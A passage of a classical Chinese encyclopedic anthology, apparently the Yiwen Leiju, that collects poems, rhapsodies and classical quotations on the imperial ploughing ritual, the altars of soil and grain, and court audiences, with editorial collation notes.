曰 . 题 封 经 地 域 . 辰 角 丽 天 部 . 浮 蔼 起 青 坛 . 沉 腴 发 绀 耦 . 草 服 荐 同 穗 . 黄 冠 献 嘉 寿 .\n宋 谢 庄 侍 东 耕 诗 曰 . 肃 镳 奉 晨 发 . 恭 带 厕 朝 闻 . 仙 乡 降 朱 蔼 . 神 郊 起 青 云 . 阴 台 承 寒 彩 . 阳 树 迎 初 薰 . 观 德 欣 临 籍 . 瞻 道 乐 游 汾 .\n梁 武 帝 籍 田 诗 曰 . 寅 宾 始 出 日 . 律 中 方 星 鸟 . 仁 化 洽 孩 虫 . 德 令 禁 胎 夭 . 耕 籍 乘 月 映 . 遗 滞 指 秋 杪 . 年 丰 廉 让 多 . 岁 薄 礼 节 少 .\n梁 简 文 帝 和 诗 曰 . 礼 经 闻 往 说 . 观 宝 着 遐 篇 . 岂 如 春 路 动 . 祈 谷 重 民 天 . 三 春 润 榆 荚 . 七 月 待 鸣 蝉 . 鳐 鱼 显 嘉 瑞 . 铜 雀 应 丰 年 . 不 劳 郑 国 雨 . 无 荣 邺 令 田 .\n陈 张 正 见 从 籍 田 应 衡 阳 王 教 作 诗 曰 . 帝 京 惟 赤 县 . 神 居 应 紫 微 . 涂 山 万 国 仰 . 沧 海 百 川 归 . 东 郊 事 平 秩 . 仲 月 祀 灵 威 . 含 光 开 早 扇 . 阊 阖 启 朝 扉 . 其 一 .\n洛 城 钟 漏 息 . 灵 台 云 雾 卷 . 森 森 虎 戟 前 . 蔼 蔼 銮 旗 转 . 属 车 游 绛 阙 . 风 乌 度 丹 巘 . 帐 殿 幸 金 舆 . 旌 门 拥 玉 辇 . 其 二 .\n玉 辇 带 非 烟 . 金 舆 映 绿 川 . 雨 师 清 远 路 . 风 伯 静 遥 天 . 分 渠 通 沃 野 . 激 水 入 公 田 . 草 发 青 坛 外 . 花 飞 苍 玉 前 . 其 三 .\n苍 玉 临 珪 璧 . 青 坛 躬 帝 籍 . 冒 橛 乃 三 推 . 齐 衡 均 百 辟 . 兰 场 俨 芝 驾 . 桂 圃 芳 瑶 席 . 山 禽 韵 管 弦 . 野 兽 和 钟 石 . 其 四 .\n钟 石 既 相 和 . 江 海 复 无 波 . 梁 客 簪 裾 盛 . 陈 王 文 雅 多 . 修 涂 参 弱 骀 . 乔 木 间 轻 萝 . 幸 承 温 吹 末 . 击 壤 自 为 歌 . 其 五 .\n【 赋 】 晋 潘 岳 籍 田 赋 曰 . 伊 晋 之 四 年 正 月 . 皇 帝 亲 率 群 后 籍 于 千 亩 之 甸 . 礼 也 . 于 是 乃 使 甸 师 清 畿 . 野 庐 扫 路 . 封 人 宫 . 掌 舍 设 ● . 青 坛 蔚 其 岳 立 . 翠 幕 点 以 云 布 . 沃 野 坟 腴 . 膏 壤 平 砥 . 清 洛 浊 渠 . 引 流 激 水 . 葱 犗 服 于 缥 轭 . 绀 辕 缀 于 黛 耜 . 俨 储 驾 于 廛 左 . 俟 万 乘 之 躬 履 . 袭 春 服 之 萋 萋 . 接 游 车 之 辚 辚 . 森 奉 璋 以 阶 列 . 望 皇 轩 而 肃 震 . 若 湛 露 之 晞 朝 阳 . 似 众 星 之 拱 北 辰 . 于 是 前 驱 鱼 丽 . 属 车 辚 萃 . 阊 阖 洞 启 . 参 涂 方 驷 . 常 伯 陪 乘 . 太 仆 秉 辔 . 后 妃 献 穜 稑 之 种 . 司 农 撰 播 植 之 器 . 天 子 乃 御 玉 辇 . 荫 华 盖 . 冲 牙 铮 枪 . 绡 纨 綷 . 表 朱 玄 于 离 坎 . 飞 青 镐 于 震 兑 . 中 黄 晔 以 发 晖 . 方 彩 纺 其 繁 会 . 震 震 填 填 . 以 幸 乎 藉 田 . 蝉 冕 颎 以 灼 灼 . 碧 色 肃 其 芊 芊 . 似 夜 光 之 剖 荆 璞 . 若 茂 松 之 依 山 巅 . 于 是 我 皇 . 乃 降 灵 坛 . 抚 御 耦 . 三 推 而 舍 . 庶 人 终 亩 . 贵 贱 以 班 . 或 五 或 九 . 蹑 踵 侧 肩 . 椅 裳 连 袂 . 黄 尘 为 之 四 合 . 阳 光 为 之 潜 翳 . 动 容 发 音 . 而 观 者 莫 不 抃 舞 乎 康 衢 . 讴 吟 乎 圣 世 . 有 邑 老 田 父 . 进 而 称 曰 . 盖 损 益 随 时 . 理 有 常 然 . 高 以 下 为 基 . 民 以 食 为 天 . 九 土 之 宜 弗 任 . 四 人 之 务 不 一 . 展 三 时 之 弘 务 . 致 仓 廪 之 盈 溢 . 固 尧 汤 之 用 心 . 而 存 救 之 要 术 . 若 乃 庙 祧 有 事 . 祝 宗 诹 日 . 黍 稷 馨 香 . 旨 酒 嘉 栗 . 古 人 有 言 曰 . 昔 者 明 王 以 孝 治 天 下 . 其 或 继 之 者 希 矣 . 逮 我 皇 晋 . 实 光 斯 道 . 仪 形 孚 于 万 国 . 爱 敬 尽 于 祖 考 .\n宋 任 豫 籍 田 赋 曰 . 瞻 望 圭 景 . 咫 尺 三 川 . 缅 彼 帝 籍 . 百 有 余 年 . 映 至 德 于 盛 位 . 俪 列 晷 于 微 辰 . 纡 汾 阳 以 昧 旦 . 信 尧 心 而 禹 勤 . 史 奉 载 耜 之 礼 . 民 奏 举 趾 之 歌 . 膏 壤 千 亩 . 与 式 既 同 . 区 势 平 易 . 畎 陌 脩 通 . 提 携 丘 泽 . 眺 岭 面 松 .\n隋 江 总 劳 酒 赋 曰 . 在 阳 春 之 仲 序 . 览 具 物 之 芳 菲 . 帅 公 卿 而 播 百 谷 . 亲 耒 耜 而 命 三 推 . 开 青 坛 于 回 甸 . 列 翠 幕 于 清 沂 . 乃 遵 执 爵 之 典 . 爰 降 食 苹 之 宴 . 豁 朱 鸟 之 高 窗 . 启 黄 龙 之 抗 殿 . 奏 帝 鸿 之 万 舞 . 动 钧 天 之 九 变 . 顾 曲 私 之 亭 育 . 递 寒 暑 而 徂 迁 . 谬 陈 力 而 策 骀 . 岂 酬 恩 于 暮 年 .\n【 文 】 齐 谢 朓 为 随 王 粲 东 耕 文 曰 . 谷 躔 星 景 . 穑 表 踖 先 . 八 政 奚 首 . 六 府 兹 宣 . 獘 嗟 非 国 . 登 颂 有 年 . 一 夫 惑 怠 . 望 岁 谁 天 .\n梁 元 帝 祭 东 耕 文 曰 . 三 农 九 谷 . 为 政 所 先 . 万 箱 亿 庾 . 是 曰 民 天 . 系 称 斫 耜 . 书 美 厥 田 . 花 开 杏 树 . 冻 解 新 泉 . 当 使 黍 稷 莫 莫 . 民 翳 胥 乐 . 甘 雨 祁 祁 . 遂 及 我 私 . 我 私 之 熟 . 表 里 禔 福 . 禔 福 中 田 . 岁 取 十 千 . 是 藨 是 衮 . 登 颂 有 年 .\n【 启 】 梁 元 帝 庆 东 耕 启 曰 . 伏 惟 陛 下 . 敬 授 民 时 . 造 幄 籍 圃 . 汉 之 元 凤 . 未 足 捧 羁 . 晋 之 太 始 . 非 堪 扶 毂 . 但 承 明 侍 从 . 即 事 未 由 . 周 南 留 滞 . 伏 深 恋 仰 .\n【 论 】 魏 陈 王 曹 植 籍 田 论 曰 . 春 耕 于 籍 田 . 郎 中 令 侍 寡 人 焉 . 顾 而 谓 之 曰 . 昔 者 神 农 氏 始 尝 万 草 . 教 民 种 植 . 今 寡 人 之 兴 此 田 . 将 欲 以 拟 乎 治 国 . 非 徒 娱 耳 目 而 已 也 . 夫 营 畴 万 亩 . 厥 田 上 上 . 经 以 大 陌 . 带 以 横 阡 . 此 亦 寡 人 之 封 疆 也 . 日 殄 没 而 归 馆 . 晨 未 昕 而 即 野 . 此 亦 寡 人 之 先 下 也 . 菽 雚 特 畴 . 禾 黍 异 田 . 此 亦 寡 人 之 政 理 也 . 及 其 息 沸 涌 . 庇 重 阴 . 怀 有 虞 . 抚 素 琴 . 此 寡 人 之 所 习 乐 也 . 兰 蕙 荃 蘅 . 植 之 近 畴 . 此 亦 寡 人 之 所 亲 贤 也 . 藜 蓬 臭 蔚 . 弃 之 乎 远 疆 . 此 亦 寡 人 之 所 远 佞 也 . 若 年 丰 岁 登 . 果 茂 菜 滋 . 则 臣 仆 小 大 . 咸 取 验 焉 .\n又 曰 . 封 人 有 能 以 轻 凿 脩 钩 . 去 树 之 蝎 者 . 树 得 以 繁\n茂 . 中 舍 人 曰 . 不 识 天 下 者 亦 有 蝎 乎 . 寡 人 告 人 曰 . 昔\n三 苗 共 工 鲧 欢 兜 . 非 尧 之 蝎 与 . 问 曰 . 诸 侯 之 国 . 亦 有\n蝎 乎 . 寡 人 告 之 曰 . 齐 之 诸 田 . 晋 之 六 卿 . 鲁 之 三 桓 .\n非 诸 侯 之 蝎 与 . 然 三 国 无 轻 凿 脩 钩 之 任 . 终 于 齐 篡 鲁 弱\n. 晋 国 以 分 . 不 亦 痛 乎 . 曰 . 不 识 为 君 子 者 亦 有 蝎 乎 .\n寡 人 告 之 曰 . 固 有 之 也 . 富 而 慢 . 贵 而 骄 . 残 仁 贼 义 .\n甘 财 悦 色 . 亦 君 子 之 蝎 乎 . 天 子 勤 耘 以 收 一 国 . 大 夫 勤\n耘 以 收 世 禄 . 君 子 勤 耘 以 显 令 德 . 夫 农 者 始 于 种 . 终 于\n获 . 泽 既 时 矣 . 苗 既 美 矣 . 弃 而 不 耘 . 则 故 为 荒 畴 . 盖\n丰 年 者 期 于 必 收 . 譬 修 道 亦 期 于 没 身 也 .\n礼 记 曰 . 夫 圣 王 之 制 礼 也 . 法 施 于 民 则 祀 之 . 以 劳 定 国 则 祀 之 . 能 御 大 灾 则 祀 之 . 能 扞 大 患 则 祀 之 . 是 故 厉 山 氏 之 有 天 下 也 . 其 子 曰 柱 . 能 殖 百 谷 . 夏 之 衰 也 . 周 弃 继 之 . 故 祀 以 为 稷 . 共 工 氏 之 霸 九 州 也 . 其 子 曰 后 土 . 能 平 九 州 . 故 祀 以 为 社 .\n又 曰 . 社 祭 土 而 主 阴 气 也 . 君 南 向 . 于 北 墉 下 . 答 阴 之 义 也 . 墙 谓 之 墉 . 北 墉 . 社 内 地 也 . 日 用 甲 . 用 日 之 始 也 . 国 中 之 神 . 莫 贵 于 社 . 天 子 大 社 . 必 受 霜 露 风 雨 . 以 达 天 地 之 气 也 . 是 故 丧 国 之 社 屋 之 . 不 受 天 阳 也 . 薄 社 北 墉 . 使 阴 明 也 . 社 所 以 神 . 地 之 道 也 . 地 载 物 . 天 垂 象 . 取 财 于 地 . 取 法 于 天 . 是 以 尊 天 而 亲 地 也 .\n又 曰 . 王 为 神 群 姓 立 社 . 曰 太 社 . 自 立 社 . 曰 王 社 . 诸 侯 为 百 姓 立 社 . 曰 国 社 . 自 为 立 曰 侯 社 . 大 夫 以 下 置 社 .\n左 传 曰 . 魏 献 子 问 于 蔡 墨 曰 . 社 稷 五 祀 . 谁 氏 之 五 官 也 . 对 曰 . 少 皞 有 四 叔 . 曰 重 . 曰 该 . 曰 脩 . 曰 熙 . 实 能 金 木 及 水 . 使 重 为 句 芒 . 该 为 蓐 收 . 脩 及 熙 为 玄 冥 . 此 其 三 祀 也 . 颛 顼 氏 有 四 ○ 左 传 昭 二 十 九 年 四 字 无 . 子 . 曰 黎 . 为 祝 融 . 共 工 氏 有 子 . 曰 句 龙 . 为 后 土 . 此 其 二 祀 也 . 后 土 为 社 稷 . 田 正 也 . 有 烈 山 氏 之 子 . 曰 柱 . 为 稷 . 自 夏 以 上 祀 之 . 周 弃 亦 为 稷 . 自 商 以 来 祀 之 .\n又 曰 . 宋 使 邾 文 公 用 鄫 子 于 次 睢 之 社 . 欲 以 属 东 夷 . 司 马 子 鱼 曰 . 古 者 六 畜 不 相 为 用 . 小 事 不 用 大 牲 . 况 敢 用 人 乎 . 祭 祀 以 为 人 . 民 . 神 之 主 . 用 人 . 其 谁 飨 之 .\n尚 书 曰 . 海 岱 及 淮 . 惟 徐 州 . 厥 贡 惟 土 五 色 . 王 者 封 五 色 土 以 为 社 . 建 诸 侯 . 则 割 方 色 土 立 社 . 焘 以 黄 土 . 苴 以 白 茅 . 茅 取 其 洁 . 黄 取 王 者 覆 四 方 也 .\n又 曰 . 汤 既 胜 夏 . 欲 迁 其 社 . 不 可 . 汤 承 尧 舜 禅 之 后 . 顺 天 应 人 . 逆 取 顺 守 . 而 有 惭 德 . 故 革 命 创 制 . 改 正 易 服 . 委 宜 ○ 初 学 记 十 三 作 变 置 . 社 稷 . 以 稷 代 无 及 句 龙 者 . 故 不 可 而 止 .\n又 曰 . 越 翼 日 戊 午 . 乃 社 于 新 邑 . 牛 羊 豕 各 一 . 注 云 . 告 社 稷 用 太 牢 也 .\n周 书 曰 . 诸 侯 受 命 于 周 . 乃 建 立 太 社 于 国 中 . 其 . 东 青 土 . 南 赤 土 . 西 白 土 . 北 骊 土 . 中 央 焘 以 黄 土 . 将 建 诸 侯 . 凿 取 方 一 面 之 土 . 苴 以 白 茅 . 以 土 封 之 . 故 曰 列 土 于 周 也 .\n周 官 曰 . 小 宗 伯 . 掌 建 国 之 神 位 . 右 社 稷 . 大 宗 伯 . 掌 以 血 祭 祭 社 稷 .\n又 曰 . 封 人 设 王 之 社 壝 . 为 畿 . 封 而 树 之 . 注 云 . 壝 . 坛 也 .\n公 羊 传 曰 . 日 有 食 之 . 鼓 用 牲 于 社 . 求 乎 阴 道 也 . 以 朱 丝 营 社 . 或 曰 胁 之 . 或 曰 暗 恐 犯 之 . 故 营 也 .\n尚 书 逸 篇 曰 . 北 社 惟 松 惟 柏 . 南 社 为 梓 . 西 社 为 槐 .\n白 虎 通 曰 . 王 者 所 以 有 社 稷 何 . 为 天 地 报 功 也 . 社 稷 所 以 有 树 何 . 所 以 表 功 也 .\n淮 南 子 曰 . 禹 劳 天 下 . 故 死 而 为 社 . 周 弃 作 稼 穑 . 死 而 为 稷 .\n又 曰 . 夫 穷 乡 之 社 . 叩 瓮 拊 ● . 相 和 而 歌 曰 . 以 为 乐 也 . 常 试 为 之 . 击 建 鼓 . 撞 巨 钟 . 乃 始 知 夫 瓮 ● 之 足 羞 也 . 夫 至 道 之 论 . 亦 学 者 之 建 鼓 也 . 芜 乡 之 社 . 易 为 黍 肉 . 芜 国 之 稷 . 易 为 求 福 .\n庄 子 曰 . 匠 石 之 齐 . 至 于 曲 辕 . 见 栎 社 树 . 其 大 蔽 牛 . 其 高 临 山 . 十 仞 而 后 有 枝 . 其 可 以 为 舟 者 旁 十 数 . 观 者 如 市 .\n论 语 曰 . 哀 公 问 社 于 宰 我 . 宰 我 对 曰 . 夏 后 氏 以 松 . 殷 人 以 柏 . 周 人 以 栗 .\n论 衡 曰 . 亡 国 之 社 . 屋 其 上 . 栈 其 下 . 绝 于 天 地 . 夫 春 秋 藩 社 . 周 以 为 戒 .\n汉 书 曰 . 高 祖 时 . 天 下 已 定 . 诏 御 史 . 宜 于 丰 治 枌 榆 社 . 尝 以 春 羊 彘 祀 之 .\n又 曰 . 社 者 土 地 . 宗 庙 王 者 所 居 . 稷 者 百 谷 之 王 . 所 以 奉 宗 庙 . 共 粢 盛 . 人 所 食 以 生 活 也 . 王 者 莫 不 尊 重 . 亲 祭 者 为 之 主 礼 .\n毛 诗 曰 . 乃 立 冢 土 .\n又 曰 . 以 御 田 祖 . 以 祈 甘 雨 .\n汉 书 曰 . 汉 兴 . 礼 仪 稍 定 . 已 有 官 社 . 未 立 官 稷 . 遂 于 官 社 后 立 官 稷 . 以 夏 禹 配 飨 官 社 . 后 稷 配 食 官 稷 . 徐 州 牧 岁 贡 五 色 土 各 一 斗 .\n又 曰 . 陈 平 既 娶 张 氏 女 . 资 用 益 饶 . 游 道 日 广 . 里 中 社 . 平 为 之 宰 . 分 肉 食 甚 均 . 里 父 老 曰 . 善 陈 孺 子 之 为 宰 . 平 曰 . 嗟 乎 . 使 平 得 宰 天 下 . 亦 如 此 肉 矣 .\n又 曰 . 栾 布 . 吴 军 时 . 以 功 封 为 俞 侯 . 燕 齐 之 间 . 皆 为 立 社 . 号 曰 栾 公 社 .\n又 曰 . ○ 本 条 太 平 御 览 五 百 三 十 二 作 博 物 志 . 周 之 正 月 受 社 牲 之 首 . 以 出 种 于 帝 籍 . 蚕 人 受 社 雍 祭 . 以 沐 蚕 种 . 上 辛 . 乃 射 里 社 ○ 御 览 作 黑 牲 . 于 帝 郊 . 以 祈 来 年 之 丰 .\n汉 旧 事 曰 . 天 子 太 社 . 以 五 土 为 坛 . 封 诸 侯 者 . 取 其 土 . 苴 以 白 茅 . 授 之 . 各 以 其 所 封 方 色 . 立 社 于 其 国 . 故 曰 受 茅 土 .\n搜 神 记 曰 . 中 兴 初 . 有 应 妪 者 . 生 四 子 . 而 尽 ○ 初 学 记 十 三 作 昼 . 见 神 光 照 社 . 初 探 试 之 . 乃 得 黄 金 . 自 是 诸 子 官 学 . 并 有 芳 名 . 至 玚 七 世 显 . 云 云 .\n戴 延 之 西 征 记 曰 . 洛 阳 建 春 门 外 迎 道 北 . 有 白 社 . 董 威 辇 所 住 也 . 去 门 二 里 . 白 社 有 牛 马 市 . 即 嵇 公 临 刑 处 也 .\n伍 辑 之 从 征 记 曰 . 临 沂 厚 丘 间 . 有 次 雎 里 社 . 常 以 人 祭 . 襄 公 使 邾 子 用 鄫 子 处 . 相 承 雇 贫 人 . 命 斋 洁 . 祭 时 缚 着 社 前 . 如 见 牲 牺 . 魏 初 乃 止 .\n荆 州 图 记 曰 . 郑 ○ 字 有 讹 . 县 东 百 步 . 有 县 故 城 . 县 南 里 名 伍 伯 村 . 有 白 榆 连 理 树 . 异 根 合 条 . 高 四 丈 余 . 土 民 奉 为 社 .\n湛 方 生 盟 文 曰 . 仰 推 先 王 建 社 之 义 . 俯 从 诗 人 匍 伏 之 仪 . 遂 艺 树 立 坛 . 结 誓 明 神 .\n【 赋 】 晋 张 华 朽 社 赋 曰 . 高 柏 桥 南 大 道 傍 . 有 古 槐 树\n. 盖 数 百 年 木 也 . 余 少 居 近 之 . 后 去 . 行 路 遇 之 . 则 已\n朽 . 意 有 缅 然 . 辄 为 之 赋 . 因 以 言 衰 盛 之 理 云 尔 . 伊 兹\n. 槐 之 挺 植 . 于 京 路 之 东 隅 . 得 托 尊 于 田 主 . 据 爽 垲 以\n高 居 . 垂 重 阴 于 道 周 . 临 大 路 之 通 衢 . 飨 春 秋 之 所 报 .\n应 丰 胙 于 无 射 . 历 汉 京 之 康 乐 . 逾 丧 乱 之 横 逆 . 朱 夏 当\n阳 . 蓊 蔼 萧 森 . 征 夫 云 会 . 行 旅 归 心 . 輶 轩 停\n盖 . 轻 舆 托 阴 . 吉 人 向 风 而 袪 袂 . 王 孙 清 啸 而 启 襟 . 晞 甘 棠 之 广 覆 . 褊 乔 木 之 无 阴 .\n【 颂 】 魏 陈 王 曹 植 社 颂 曰 . 于 惟 太 社 . 官 名 后 土 . 是 曰 句 龙 . 功 着 仁 古 . 德 配 帝 皇 . 实 为 灵 主 . 克 明 播 植 . 农 正 曰 柱 . 尊 以 作 稷 . 丰 年 是 兴 . 义 与 社 同 . 方 神 北 宇 . 建 国 承 家 . 莫 不 脩 叙 .\n宋 何 承 天 社 颂 曰 . 余 以 永 初 三 年 八 月 大 社 . 聊 为 此 文\n. 实 惟 阴 祇 . 稷 为 谷 元 . 率 育 万 类 . 协 灵 昊 干 . 霸 德 方\n将 . 世 号 共 工 . 厥 有 才 子 . 寔 曰 句 龙 . 称 物 平 赋 . 百 姓\n喜 雍 . 唐 尧 救 灾 . 决 河 流 江 . 弃 亦 播 植 . 作 乂 万 邦 . 克\n配 二 祀 . 以 报 勤 庸 . 勤 庸 伊 何 . 厚 载 生 民 . 仓 廪 既 实 .\n神 节 斯 因 . 人 亦 有 言 . 物 用 思 人 . 矧 乃 大 德 . 功 被 陶 钧\n. 岂 伊 百 世 . 万 代 不 泯 . 蒸 哉 帝 王 . 肇 建 皇 极 . 体 国 经\n野 . 设 官 分 职 . 峨 峨 二 社 . 列 干 比 殖 . 岁 云 其 秋 . 晷 漏\n均 程 . 牲 牢 既 洁 . 嘉 荐 惟 馨 .\n周 礼 曰 . 春 见 曰 朝 . 夏 见 曰 宗 . 秋 见 曰 觐 . 冬 见 曰 遇 . 时 见 曰 会 . 殷 见 曰 同 .\n又 曰 . 王 执 镇 圭 . 以 四 镇 山 为 饰 . 公 执 桓 圭 . 侯 执 信 圭 . 信 即 身 也 . 谓 圭 上 作 人 身 . 伯 执 躬 圭 . 亦 身 . 子 执 谷 璧 . 谷 以 养 人 . 璧 上 作 谷 . 男 执 蒲 璧 . 蒲 者 所 以 为 席 . 以 安 人 . 为 璧 上 作 蒲 草 文 . 孤 执 皮 帛 . 卿 执 羔 . 大 夫 执 雁 . 士 执 雉 . 庶 人 执 鹜 . 工 商 执 鸡 .\n又 曰 . 春 朝 诸 侯 而 图 天 下 之 事 . 注 云 . 图 . 考 绩 也 .\n传 曰 . 凡 朝 以 正 班 爵 之 义 . 会 以 训 上 下 之 则 .\n又 曰 . 宣 十 四 年 . 孟 献 子 言 于 公 曰 . 臣 闻 小 国 之 免 于 大 国 也 . 聘 而 献 物 . 于 是 庭 实 旅 百 . 朝 而 献 功 . 注 云 . 献 其 国 . 若 征 伐 之 功 于 牧 伯 也 .\n又 曰 . 子 产 相 郑 伯 如 楚 . 侨 闻 大 适 小 . 有 五 美 . 宥 其 罪 戾 . 赦 其 过 失 . 救 其 灾 患 . 赏 其 德 刑 . 教 其 不 及 .\n又 曰 . 薳 启 彊 对 楚 子 曰 . 朝 聘 有 圭 . 享 俯 有 璋 . 小 有 述 职 . 大 有 巡 功 .\n又 曰 . 叔 向 曰 . 明 王 之 制 . 使 诸 侯 岁 聘 以 志 业 . 间 朝 以 讲 礼 . 再 朝 而 会 以 示 威 . 再 会 而 盟 . 以 着 昭 明 . 志 业 于 好 . 讲 礼 于 等 . 示 威 于 众 . 昭 明 于 神 .\n又 曰 . 庄 公 二 十 三 年 . 夏 . 公 如 齐 观 社 . 非 礼 也 . 曹 刿 谏 曰 . 夫 礼 所 以 整 民 也 . 故 会 以 训 上 下 之 则 . 制 财 用 之 节 . 朝 以 正 班 爵 之 义 . 帅 长 幼 之 序 .\n孟 子 曰 . 诸 侯 朝 天 子 曰 述 职 . 一 不 朝 则 贬 其 爵 . 二 不 朝 则 削 其 地 . 三 不 朝 则 六 师 移 之 .\n挚 虞 决 疑 要 注 曰 . 汉 制 . 会 于 建 始 殿 . 晋 制 . 大 会 于 太 极 殿 . 小 会 于 东 堂 . 会 则 五 时 服 . 庭 设 金 石 . 武 贲 旄 头 . 文 衣 绣 ○ 太 平 御 览 五 百 三 十 九 作 鹖 . 尾 .\n又 曰 . 宴 之 与 会 . 威 仪 不 同 也 . 会 随 五 时 朝 服 . 庭 设 金 石 . 旄 头 之 ○ 御 览 作 文 . 衣 鹖 尾 以 列 陛 . 宴 则 服 常 服 . 设 丝 竹 之 乐 . 宿 卫 列 仗 . 会 ○ 御 览 会 上 有 大 字 . 于 太 极 殿 . 小 会 于 东 堂 .\n白 虎 通 曰 . 凡 臣 见 君 . 必 有 贽 . 贽 者 . 质 也 . 致 己 质 诚 也 . 公 侯 以 玉 为 贽 者 . 取 其 燥 不 轻 . 湿 不 重 也 . 大 夫 以 雁 为 贽 者 . 取 其 飞 成 行 . 立 成 列 也 . 士 以 野 鸡 . 使 其 不 可 诱 之 以 食 . 胁 之 以 威 . 毕 死 不 可 畜 也 . 又 诸 侯 相 聘 . 为 相 尊 敬 也 . 朝 聘 天 子 . 更 以 所 尊 . 考 礼 正 刑 一 德 . 以 尊 天 子 也 .\n又 曰 . 聘 者 . 缘 臣 子 欲 知 其 君 父 无 恙 . 又 当 奉 土 地 所 生 珍 物 以 助 祭 . 是 以 皆 行 聘 礼 .\n又 曰 . 朝 . 备 文 德 而 明 礼 义 也 .\n春 秋 说 题 辞 曰 . 诸 侯 执 政 各 来 朝 . 讲 文 德 礼 让 . 制 法 四 方 .\n尚 书 曰 . 既 月 . 乃 日 觐 四 岳 群 牧 . 注 云 . 既 . 尽 也 . 觐 . 见 也 . 言 舜 日 尽 正 月 . 乃 见 群 牧 .\n谷 梁 传 曰 . 滕 侯 薛 侯 来 朝 . 天 子 无 事 . 诸 侯 朝 正 也 . 考 礼 修 德 . 所 以 尊 天 子 也 .\n又 曰 . 六 年 . 五 服 一 朝 . 又 六 年 . 王 乃 时 巡 . 考 制 度 于 四 岳 . 诸 侯 各 朝 于 方 岳 . 大 明 黜 陟 . 注 云 . 觐 四 方 诸 侯 . 各 于 其 方 岳 之 下 . 大 明 考 绩 .\n汉 书 曰 . 汉 王 已 并 天 下 . 诸 侯 共 尊 为 皇 帝 . 于 是 叔 孙 通 就 其 仪 . 汉 七 年 . 长 乐 宫 成 . 诸 侯 群 臣 朝 十 月 . 皇 帝 辇 出 房 . 百 官 执 戟 传 警 . 引 诸 侯 王 以 次 奉 贺 . 觞 九 行 . 谒 者 言 罢 酒 . 御 史 举 不 如 仪 者 . 引 去 . 竟 朝 置 酒 . 无 敢 喧 哗 失 礼 . 上 曰 . 吾 乃 今 日 知 为 皇 帝 之 贵 也 . 拜 通 为 太 常 .\n汉 官 仪 曰 . 正 月 旦 . 天 子 幸 德 阳 殿 . 临 轩 . 公 卿 大 夫 百 官 . 各 陪 位 朝 贺 . 蛮 貊 胡 羌 朝 贡 毕 . 见 属 郡 计 吏 . 皆 陪 觐 . 宗 室 诸 刘 杂 会 . 皆 冠 两 梁 冠 . 皂 单 衣 . 既 定 上 寿 . 计 吏 中 庭 北 向 坐 . 太 官 上 食 . 赐 群 臣 酒 食 . 作 九 宾 . 撤 乐 .\n又 曰 . 大 将 军 三 公 朝 会 . 天 子 为 起 . 住 入 . 太 常 住 车 曰 . 皇 帝 为 群 公 起 . 天 子 坐 . 方 前 进 .\n又 曰 . 尚 书 令 御 史 中 丞 司 隶 . 朝 会 各 独 席 . 故 京 师 曰 三 独 坐 .\n魏 志 曰 . 黄 初 元 年 . 郭 淮 奉 使 贺 文 帝 践 阼 . 而 道 路 疾 故 . 计 远 近 为 稽 留 . 及 群 臣 欢 会 . 帝 责 之 曰 . 昔 禹 会 诸 侯 于 涂 山 . 防 风 后 至 . 便 行 大 戮 . 今 溥 天 同 庆 . 而 最 留 迟 . 何 也 . 对 曰 . 臣 闻 五 帝 先 教 . 导 民 以 德 . 夏 后 氏 衰 . 始 用 刑 辟 . 今 臣 遭 虞 舜 之 世 . 是 以 自 知 免 于 防 风 之 戮 也 . 帝 悦 .\n晋 起 居 注 曰 . 武 帝 太 康 元 年 诏 曰 . 江 表 初 平 . 天 下 同 其 欢 豫 . 王 公 卿 士 . 各 奉 礼 称 庆 . 其 于 东 堂 小 会 . 设 乐 . 使 加 于 常 . 五 月 庚 寅 . 御 临 轩 . 大 会 于 太 极 殿 前 . 四 方 贺 使 国 子 太 学 生 司 徒 吏 副 将 以 上 . 及 吴 降 将 吏 . 皆 与 会 . 诏 引 归 命 侯 孙 皓 上 殿 . 稽 颡 陈 恩 谢 罪 . 称 万 岁 .\n又 曰 . 太 常 张 华 止 . ○ 太 平 御 览 五 百 三 十 九 作 上 书 . 按 旧 事 . 拜 公 建 始 殿 . 因 以 小 会 . 今 拜 公 于 太 极 殿 . 亦 宜 因 以 小 会 . 盖 所 以 崇 宰 辅 也 .\n又 曰 . 穆 帝 升 平 二 年 正 月 朔 朝 会 . 是 日 赐 众 客 醁 醽 酒 .\n东 宫 旧 事 曰 . 正 会 仪 . 太 子 着 远 游 冠 . 绛 纱 襮 . 登 舆 . 至 承 华 门 . 设 位 . 拜 二 傅 . 二 傅 交 礼 毕 . 不 复 登 车 . 太 傅 训 道 在 前 . 少 傅 训 从 在 后 . 太 子 入 崇 贤 门 . 乐 作 . 太 子 登 殿 . 西 向 坐 .\n【 诗 】 魏 陈 王 曹 植 应 诏 诗 曰 . 命 彼 掌 徒 . 肃 我 征 旅 . 朝 发 鸾 台 . 夕 宿 兰 渚 . 经 彼 公 田 . 乐 我 稷 黍 . 西 济 关 谷 . 或 降 忽 升 . 騑 骖 倦 路 . 载 寝 载 兴 . 将 朝 圣 皇 . 匪 敢 燕 宁 . 前 驱 举 燧 . 后 乘 抗 旌 . 长 怀 永 慕 . 忧 心 如 酲 .\n梁 简 文 帝 守 东 平 中 华 门 开 诗 曰 . 脂 车 向 驰 道 . 总 辔 息 中 华 . 落 关 犹 待 漏 . 文 戟 未 通 车 . 薄 云 初 启 雨 . 曙 色 始 成 霞 . 堑 流 铺 紫 若 . 城 风 泛 橘 花 . 弦 诵 终 无 取 . 顾 己 自 怀 嗟 .\n梁 何 逊 早 朝 诗 曰 . 诘 旦 钟 声 罢 . 隐 隐 禁 门 通 . 蘧 车 响 北 阙 . 郑 履 入 南 宫 . 宿 雾 开 驰 道 . 初 日 照 相 通 . 风 胥 徒 纷 驿 . 驺 御 或 西 东 .\n周 王 褒 入 朝 守 门 开 诗 曰 . 凤 池 通 复 道 . 严 驾 早 凌 晨 . 铁 符 行 警 曙 . 银 棨 未 开 闉 . 堑 暗 城 无 影 . 晴 新 路 不 尘 . 屯 兵 引 画 剑 . 骑 吹 动 班 轮 . 徒 知 御 睿 藻 . 抽 辞 殊 未 申 .\n隋 江 总 答 王 均 早 朝 守 建 阳 门 开 诗 曰 . 金 兔 犹 悬 魄 . 铜 龙 欲 启 扉 . 三 条 息 行 火 . 百 雉 照 初 晖 . 御 沟 槐 影 出 . 仙 掌 露 光 晞 .\n【 表 】 陈 王 曹 植 请 赴 元 正 表 曰 . 欣 豫 百 官 之 美 . 想 见 朝 觐 之 礼 . 耳 存 九 成 . 目 想 率 舞 .\n又 谢 得 入 表 曰 . 不 世 之 命 . 非 所 致 思 . 有 若 披 浮 云 而\n晒 白 日 . 出 幽 谷 而 登 乔 木 . 目 希 庭 燎 . 心 存 泰 极 